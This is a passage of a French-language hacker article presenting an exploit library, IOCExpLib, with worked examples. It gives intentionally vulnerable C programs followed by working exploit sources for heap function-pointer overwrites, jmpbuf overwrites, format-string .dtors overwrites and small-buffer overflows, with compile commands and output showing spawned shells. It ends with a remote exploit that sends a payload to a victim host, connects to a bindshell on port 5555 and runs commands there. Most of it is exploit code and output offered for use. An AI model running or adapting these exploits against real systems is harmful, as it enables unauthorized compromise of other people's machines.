[+] Using address: 0xbffff610
[+] Using buffer size = 2100 ; offset = -200; align = 1
[+] Using address: 0xbffff610
[+] Using buffer size = 2100 ; offset = -200; align = 2
[+] Using address: 0xbffff610
[+] Using buffer size = 2100 ; offset = -200; align = 3

[.....]

[+] Using address: 0xbffff8cc
[+] Using buffer size = 2100 ; offset = -1000; align = 0
[+] Using address: 0xbffff930
[+] Using buffer size = 2100 ; offset = -1000; align = 1
[+] Using address: 0xbffff930
[+] Using buffer size = 2100 ; offset = -1000; align = 2
[+] Using address: 0xbffff930
[+] Using buffer size = 2100 ; offset = -1000; align = 3
[+] Using address: 0xbffff930
[+] Using buffer size = 2000 ; offset = 0; align = 0
[+] Using address: 0xbffff548
sh-2.04# exit
exit
[+] Exited: shell's ret code = 0
[+] Buffer size found: 2000; offset found: 0; align found = 0, if no shell ran 
then try again with higher default values
Bsize found = 2000; offset found = 0; align found = 0


   Voici la sortie d'un bruteforcing russi en mode verbose, j'ai volontairement
choisi une taille de buffer assez grande  partir de laquelle bruteforcer, pour
pouvoir observer le comportement de la fonction qui bruteforce. Comme vous 
pouvez le voir, pour une taille x que l'on diminue de 100  chaque itration, 
on utilise un offset y que l'on dcrmente de 0   -1000 et pour cet offset y 
on utilise un alignement z incrment, lui, de 0  3.



 2) Heap-based overflows

    2.1) crasement de pointeurs de fonctions

   Passons aux buffer overflows ayant lieu dans le heap.
   Voici le programme vulnrable, issu de l'article de OUAH intitul "advanced
buffer overflow" (voir rfrences):

----------vulnbss.c---------------

 #include <stdio.h>
 #include <string.h>

 void foo()
 {
 printf("La fonction foo a t excute\n");
 }

 main (int argc, char *argv[])
 {
 static char buf[64];
 static void(*funcptr)();

 funcptr=(void (*)())foo;

 if (argc < 2) exit(-1);

 strcpy(buf, argv[1]); // here's the flaw
 (void)(*funcptr)();

 }

----------------------------------


Voici le programme exploitant la faille sans bruteforcer:


---------exp_hb_nobf.c------------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "vulnbss <breakme>\n"

int
main(int argc,char *argv[]) {


  char *shellcode;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int res;
  unsigned long ret;

   if (argc > 1) bsize  = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
  
   shellcode = (char *)malloc(1024);
   strncpy(shellcode, IOCExpLib_return_shellcode(2), 1024);
 
   ret = IOCExpLib_get_section("vulnbss", "bss");
   IOCExpLib_hb_build(bsize, offset, ret, shellcode, 0);
   IOCExpLib_split(CMD);
   IOCExpLib_exec_vuln();
    return 0;
}

----------------------------------


gcc -o vulnbss vulnbss.c
gcc -o exp_hb_nobf exp_hb_nobf.c
/exp_hb_nobf 64 64
[+] .bss address is : 80496e0   
[+] Using ret address: 0x8049720
sh-2.04# exit
exit
 
   Voici un exemple de programme bruteforant l'offset:



-------exp_hb_bruteforce.c--------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "vulnbss <breakme>\n"

int
main(int argc,char *argv[]) {


  char *shellcode;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int res;
  unsigned long ret;

   if (argc > 1) bsize  = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
  
   shellcode = (char *)malloc(1024);
   strncpy(shellcode, IOCExpLib_return_shellcode(2), 1024);

   ret = IOCExpLib_get_section("vulnbss", "bss");
   IOCExpLib_hb_bruteforce(bsize, offset, ret, CMD, shellcode, 0);
    return 0;
}


----------------------------------

gcc -o exp_hb_bruteforce exp_hb_bruteforce.c
./exp_hb_bruteforce 64 500
[+] Using offset: 500
[+] Using ret address: 0x80498d4
[+] Using offset: 490
[+] Using ret address: 0x80498ca
[+] Using offset: 480
[+] Using ret address: 0x80498c0
[+] Using offset: 470
[+] Using ret address: 0x80498b6

[...]

[+] Using offset: 120
[+] Using ret address: 0x8049758
[+] Using offset: 110
[+] Using ret address: 0x804974e
[+] Using offset: 100
[+] Using ret address: 0x8049744
[+] Using offset: 90
[+] Using ret address: 0x804973a
[+] Using offset: 80
[+] Using ret address: 0x8049730
[+] Using offset: 70
[+] Using ret address: 0x8049726
sh-2.04# exit
exit
[+] Exited: shell's ret code = 0
[+] Offset found: 70, a working return address could be: 0x8049726



    2.2) crasement du champs __pc de la structure jmbuf


   Voici un exemple un petit peu plus avanc qui reste dans le cadre des heap-
based overflows,  la diffrence qu'ici nous n'craserons pas un pointeur de 
fonction mais le champs jmpbuf -> __pc (program counter), jmbuf tant une struc-
-ture utilise par la fonction longjmp() (qui permet de faire des branchements 
non-locaux dans des programmes). Ce champ contient l'adresse du registre eip,
le pointeur d'instruction, et se situe  jmpbuf + 20, voici le programme 
vulnrable encore issu du fabuleux article de OUAH:


--------lonjmp.c------------------


 #include <string.h>
 #include <setjmp.h>

 static char buf[64];
 jmp_buf jmpbuf;

 main(int argc, char **argv)
 {

 if (argc <= 1) exit(-1);

 if (setjmp(jmpbuf)) exit(-1);

 strcpy(buf, argv[1]); // here's the flaw

 longjmp(jmpbuf, 1);
 }

----------------------------------


   Et voici l'exploit, comme  l'habitude la librairie s'occupe de construire
notre payload:


---------exp_hb_ljnobf.-----------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "longjmp <breakme>\n"

int
main(int argc,char *argv[]) {


  char *shellcode;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int res;
  unsigned long ret;

   if (argc > 1) bsize  = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
  
   shellcode = (char *)malloc(1024);
   strncpy(shellcode, IOCExpLib_return_shellcode(2), 1024);

   ret = IOCExpLib_get_section("longjmp", ".bss");
   IOCExpLib_hb_build(bsize, offset, ret, shellcode, 1);
   IOCExpLib_split(CMD);
   IOCExpLib_exec_vuln();
  
    return 0;
}

----------------------------------

gcc -o longjmp longjmp.c
gcc -o exp_hb_ljnobf exp_hb_ljnobf.c
./exp_hb_ljnobf 64 50
[+] ..bss address is : 80496b8
[+] Using ret address: 0x80496ea
sh-2.04# exit
exit



 3) Format bugs exploitation

   Voici un petit programme prsentant une faille du type format bug:


----------vul.c-------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


void vulnerable(char *arg)
{
   char buffer[1024];
   char string[64];

   strcpy (string, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
   snprintf (buffer, sizeof(buffer), arg);

   printf ("%s\n", buffer); // here's the flaw
   //sleep(0.1);
   return;
}


int main(int argc, char **argv)
{
   if (argc > 1)
      vulnerable(argv[1]);

   return (0);
}

----------------------------------


   L'exploit qui suit cod avec notre petite librairie, permet une exploitation
simple et rapide. La technique employe ci-dessous vite d'employer toute une
quirielle de NOP, par l'obtention de l'adresse exacte du shellcode en mmoire.
Comment? Le principe du small-buffer overflow, on stocke le shellcode en mmoire
dans le tableau de char *argv|]. En effet, le programme s'appelle lui mme une 
fois de manire  obtenir une adresse "statique" pour arg et argv et ainsi 
l'utiliser comme adresse de retour pour notre shellcode  injecter dans la 
plage mmoire du programme vulnrable. (arg et argv on la proprit de ne plus 
voluer au bout du deuxime appel rcursif d'un programme).
   Cet exploit crase le tag head de la section .dtors par l'adresse exacte de
notre shellcode, ainsi  la fin du programme, notre shellcode sera xcut.
   Notez que l'on aurait pu aussi craser l'adresse d'une fonction de la Global
Offset Table, (d'ou l'utilit du sleep(0.1) aprs le printf() dans le code vuln-
-rable).


-----------exp.c------------------

#include <stdio.h>
#include "../IOCExpLib.h"

char progname[128] = "./vul"; /* 128 octets = 75 eats maximum */

int
main(int argc, char **argv) {
  
  int offset;
  unsigned long addr;
  char *buf;
  char shellcode[512];

  addr = IOCExpLib_get_dtors(progname);
  offset = IOCExpLib_get_offset(progname);

  strncpy(shellcode, IOCExpLib_return_shellcode(2), 512);
  if (argc == 1) {
    
    fprintf(stderr, "Calling %s ...\n", argv[0]);

    buf = IOCExpLib_fs_build(addr, &shellcode, offset);          
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling %s ...\n", progname);
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = IOCExpLib_fs_build(addr, argv[2], offset);       
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    /* have fun baby! */
    execlp(progname, progname, buf, argv[2], argv[3], argv[4], NULL);
  }
  
  return 0;
}


----------------------------------

gcc -o vul vul.c
gcc -o exp exp.c
./exp
[+].DTORS address is : 8049638
[+] starting to try to find the offset...
[+] trying... ././vul BBBB%x
[+] trying... ././vul BBBB%x%x
[+] trying... ././vul BBBB%x%x%x
[+] trying... ././vul BBBB%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] nombre de eats : 18
Calling ./exp ...
[+] adr : 134518328 (8049638)
[+] val : -1073744336 (bffff630)
[+] valh: 49151 (bfff)
[+] vall: 63024 (f630)
[:8%.49143x%18$hn%.13873x%19$hn] (36)
[+].DTORS address is : 8049638
[+] starting to try to find the offset...
[+] trying... ././vul BBBB%x
[+] trying... ././vul BBBB%x%x
[+] trying... ././vul BBBB%x%x%x
[+] trying... ././vul BBBB%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] trying... ././vul BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[+] nombre de eats : 18
Calling ./vul ...
sc = 0xbffffa19
[+] adr : 134518328 (8049638)
[+] val : -1073743335 (bffffa19)
[+] valh: 49151 (bfff)
[+] vall: 64025 (fa19)
[:8%.49143x%18$hn%.14874x%19$hn] (36)
:80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
sh-2.04# exit
exit

   Quand je vous disais que la sortie en mode bavard tait consquente !


 4) Small-buffers overflow

   Voici le dernier cas de figure que nous tudierons, l'exploitation de buffers
de trop petite taille pour pouvoir stocker un shellcode (i.e en local des 
buffers dont la taille est infrieur  25 octets). Comme dj expliqu 
prcdemment, leur petite taille ne reprsente pas un problme potentiel 
puisque nous stockerons
le shellcode dans le dernier lement du tableau de char *argv[], puis nous rcu-
-prerons l'adresse du dbut du dernier argument de argv (souvenez vous que
argv termine toujours  la mme adresse mmoire, ainsi il nous suffit de 
soustraire la taille de notre shellcode  l'adresse du dernier lment de argv 
pour obtenir l'adresse exacte de notre shellcode en mmoire). 


   Voici le programme vulnrable:


----------vulnsb.c----------------

int exploitme(char *arg)
{
  char buff[10];
  strcpy(buff,arg); // here's the flaw
  return (0);
}

int main(int argc, char **argv)
{
  if (argc < 2)
    {
      printf("Usage : %s string\n", argv[0]);
      return (-1);
    }
  exploitme(argv[1]);
  return (0);
}

----------------------------------


   Et voici notre exploit cod avec la lib IOCExpLib.h.


----------exp_smallb.c------------

#include <stdio.h>
#include "../IOCExpLib.h"

#define CMD "vulnsb <breakme>"

extern char **environ;

int
main(int argc,char *argv[]) {

  int bsize=DEFAULT_BUFFER_SIZE, align=2;
  int res;
  char shellcode[512];

   if (argc > 1) bsize  = atoi(argv[1]);

   strncpy(shellcode, IOCExpLib_return_shellcode(2), 512);
   res = IOCExpLib_small_buffer(argc, argv, environ, bsize, align, shellcode);
   IOCExpLib_split(CMD);
   IOCExpLib_exec_vuln();
   return 0;
}

----------------------------------

gcc -o vulnsb vulnsb.c
gcc -o exp_smallb exp_smallb.c
./exp_smallb
[+] Using ret address: 0xbffff9fb
sh-2.04# exit
exit

   Rien de plus simple :)


 
   J'aurais voulu ajouter plus d'exemples, mais le temps a jou contre moi, 
trve de bonnes excuses, continuons.

 

  5) Network exploitation

   Je tiens  vous le dire tout de suite je n'ai encore pas eu le temps de 
tester la librairie sur un vrai programme vulnrable, mais voici le squelette 
de tout remote exploit qui se respecte. Notons qu'ici nous utiliserons une 
faille classique de type buffer overflow, mais  distance.

   Squelette de notre code:

 dclarations des headers..
 #include "IOCExpLib.h"
 ....
 int main(int argc, char *argv[])
 {
     construction de notre payload;
     construction de notre socket rseau;
     connection  l'hte distant;
     envoie de notre payload;
     connection au port ouvert par notre shellcode;
     envoie d'une comannde quelconque;
     lancement de notre shell interactif;
     return 0;
 }

   Le problme avec une exploitation distante de bug, c'est que nous devons 
deviner une adresse de retour pour notre shellcode, et nous n'avons pas la 
possibiliter de bruteforcer offset et alignement. (le serveur plante  chaque 
envoie d'un payload avec adresse de retour invalide, en effet il segfault tout 
simplement). Le mieux est de lancer le serveur vulnrable chez soi et de 
rechercher l'adresse du milieu du buffer vulnrable par exemple (via gdb).


   Voici un exemple de remote exploit avec notre lib:


-----------remote_exp.c-----------

#include <stdio.h>
#include "../IOCExpLib.h"

#define RET 0xbffff5a8

int
main(int argc,char *argv[])
{

   int offset=0, bsize=128, align=0;
   char *victim;
   char shellcode[512];
   int port, fd, res;
 
   if (argc < 3)
   {
        fprintf(stderr, "%s host port\n", argv[0]);
        exit(0);
   }

   victim = (char *)malloc(strlen(argv[1]) + 1);
   victim  = argv[1];
   port = atoi(argv[2]);
   
   strncpy(shellcode, IOCExpLib_return_shellcode(3), 512);
   IOCExpLib_sb_build(bsize, offset, align, RET, 0, shellcode);

   fd = IOCExpLib_connect(victim, port);
   if (fd < 0) exit(0);

   res = IOCExpLib_send(fd, IOCExpLib_payload);
   if (res < 0) exit(0);

   fd = IOCExpLib_connect(victim, 5555);
   if (fd < 0){
       fprintf(stderr, "Port 5555 appears not to be open, exploit failed\n");
       exit(0);
  }

   res = IOCExpLib_send(fd, "id;uname -a");
   if (res < 0) exit(0);

   IOCExpLib_remote_shell(fd);
   return 0;
}

----------------------------------



  III - Conclusion
  _________________


 1) Le mot de la fin...

   Comme vous aurez pu le remarquer, cette librairie est loin d'tre acheve, il
reste encore normment de pistes  explorer, d'exploitation de bugs  
implmenter. Il faudrait amliorer la souplesse gnrale de la librairie pour 
pouvoir l'utiliser dans beaucoup plus de cas. Mme si cette librairie est de 
loin bien moins cod que la LibExp disponible sur packetfactory.net, elle 
possde la vertue d'exploiter une plus large gamme de bugs. Il a t 
extrmement difficile pour mon niveau de concilier souplesse et exhaustivit 
comme je le disais prcdemment, le code est assez vaste, et il est trs facile 
de perdre le contrle de son code. Cette librairie, comme je le rpte n'en est 
qu' sa version bt, trs prochainement beaucoup plus de shellcodes seront 
implmenter. (voir le TOCOME  la fin de l'article). Si vous trouvez des bugs 
de conception dans mon code, et il y doit y en avoir, conctatez moi, a me fera 
plaisir.



 2) Remerciements

   Je tiens  remercier toutes les personnes cites ci-dessous pour leur aide,
leurs conseils et leur soutien:

   - ins tout d'abord pour ses conseils de qualit,
   - Emper0r pour ses shellcodes,
   - ackeur pour sa documentation
   - Evanescence aka Cursed Lao pour son soutien.
  
  Je tiens aussi  remercier tous les auteurs des articles qui figurent dans les
rfrences ci-dessous, sans qui je n'aurais pu arriver jusque l.


 3) TOCOME

   Parce qu'on en a jamais assez, to-come:
   # Plus, beaucoup plus de shellcodes,
   # malloc chunk corruption,
   # RET-into-Libc exploitation,
   # Reprogrammation totale de la fonction IOCExpLib_sb_build().





 IV - Rfrences
 ________________

   Tous ces articles sont d'une trs grande facture:

Exploitation avance de buffer overflow par OUAH: (la rfrence franaise)
http://ouah.kernsh.org/advbof.pdf

Eviter les failles de scurit ds le dveloppement d'une application par 
C.Blaess, C.GRENIER, F.RAYNAL:
http://inferno.cs.univ-paris8.fr/~hacker/faillesart1.htm
http://inferno.cs.univ-paris8.fr/~hacker/faillesart2.htm
http://inferno.cs.univ-paris8.fr/~hacker/faillesart3.htm
http://inferno.cs.univ-paris8.fr/~hacker/faillesart4.htm

Nop Sux ... Buffer overflow & shellcode sans Nops par Seb-Sb:
http://ouah.kernsh.org/bo2seb.txt

w00w00 on Heap Overflow by Matt Conover & w00w00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt


 Contactez-moi - Li0n7@voila.fr




